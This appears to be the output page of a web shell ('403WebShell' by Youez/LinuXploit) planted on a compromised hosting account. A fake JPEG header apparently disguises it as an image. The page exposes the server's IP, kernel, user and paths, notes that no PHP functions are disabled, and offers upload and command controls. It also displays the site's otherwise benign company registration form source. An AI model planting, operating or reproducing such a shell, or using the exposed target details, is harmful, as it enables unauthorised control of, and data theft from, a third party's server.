ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html//company_registration.php
<?php

include('head.php');

?>
<head>
<meta name="description" content="Register your company with ease. Provide the necessary details, and our team will assist you throughout the process.">
<meta name="keywords" content="company,registration,fill,your,company,register,my,company,how,to,file">
<title>Company Registration</title>
</head>
<style>
.card {
    border-radius: 10px;
    border: 1px solid #ffeaea;
    box-shadow: 0 5px 20px 0 #bbb;
    background-color: #fff!important;
    padding: 20px 50px;
}
.btn-primary {
    background: #009bad;
    border: #0a9eb0;
    color: white;
    transition: 0.5s;
}
.btn-primary:hover {
    background: #98a0a4;
    border: #98a0a4;
    color: white;
    transition: 0.5s;
}
.form-control {
    font-size: 18px;
    margin-top: 10px;
    border: 1px solid #adb1ad;
    transition: 0.3s;
}
</style>
<div class="row">
    <div class="col-md-2"></div>
    <div class="col-md-8">
    <?php 
    if (isset($_POST['submit'])) {
        $company_name = $_POST['company_name'];
        $contact_name = $_POST['contact_name'];
        $ntn = $_POST['ntn'];
        $contact_number = $_POST['contact_number'];
        $company_detail = $_POST['company_detail'];

        // Check if NTN already exists
        $check_sql = "SELECT id FROM company_registration WHERE ntn = ?";
        $check_stmt = $con->prepare($check_sql);
        $check_stmt->bind_param("s", $ntn);
        $check_stmt->execute();
        $check_stmt->store_result();

        if ($check_stmt->num_rows > 0) {
            echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
                <strong>Error!</strong> This NTN is already registered. Please try again with a different NTN or contact support.
                <a href="https://taxhelplines.com.pk/contact"> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button></a>
                </div>';
        } else {
            // Insert new record
            $sql = "INSERT INTO company_registration (company_name, contact_name, ntn, contact_number, company_detail) VALUES (?, ?, ?, ?, ?)";
            $stmt = $con->prepare($sql);
            $stmt->bind_param("sssss", $company_name, $contact_name, $ntn, $contact_number, $company_detail);
            
            if ($stmt->execute()) {
                echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                    <strong>Success!</strong> Your request has been successfully submitted. Our team will consult you later. For any problems, please <strong><a href="https://taxhelplines.com.pk/contact">contact us</a></strong>.
                    <a href="https://taxhelplines.com.pk">  <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button></a>
                    </div>';
            } else {
                echo "Error: " . $stmt->error;
            }
            $stmt->close();
        }

        $check_stmt->close();
        $con->close();
    }
    ?>
        <div class="card" style="border-radius: 10px; margin:90px 0px;">
            <h1 class="modal-title" style="font-size:30px;font-family:math; color:black; font-weight:700;">Company Registration</h1>
            <hr style="color: #a9b2b2;">  
            <center><h3 style="font-family:math;font-weight:700;color:#0296a5;margin: 25px 0px;">Kindly Enter Your Details</h3></center>
            <form method="POST" class="members">
                <div class="row" style="font-family: math;font-size: 19px;">
                    <div class="form-group col-md-6">
                        <label>Company Name</label>
                        <input type="text" name="company_name" class="form-control" required>
                    </div>
                    <div class="form-group col-md-6">
                        <label>Contact Name</label>
                        <input type="text" name="contact_name" class="form-control" required>
                    </div>
                    <div class="form-group col-md-6">
                        <label>NTN Number</label>
                        <input type="text" name="ntn" class="form-control" required>
                    </div>
                    <div class="form-group col-md-6">
                        <label>Contact Number</label>
                        <input type="text" name="contact_number" class="form-control" required>
                    </div>
                    <div class="form-group col-md-12">
                        <label>Company Detail</label>
                        <textarea class="form-control" name="company_detail" rows="3" required style="margin-bottom:20px;"></textarea>
                    </div>
                            <!-- Google reCAPTCHA -->
                    <div class="form-group col-md-12" style="padding: 10px;">
                   <div class="g-recaptcha" data-sitekey="6LevGu0qAAAAAPQ0F0sTNOrSqxYaZ0N1Rhtcrk8z"></div>
                    </div>
                    <div class="form-group col-md-12">
                        <button type="submit" name="submit" class="btn btn-primary" style="float:right; width:150px;">Submit</button>
                        <a href="javascript:history.back()" class="btn btn-secondary" style="float:left; width:150px;">Back</a>
                    </div>
                </div>
            </form>
        </div>
    </div>
    <!-- Google reCAPTCHA Script -->
<script src="https://www.google.com/recaptcha/api.js" async defer></script>

    <div class="col-md-2"></div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
<?php
include('footer.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit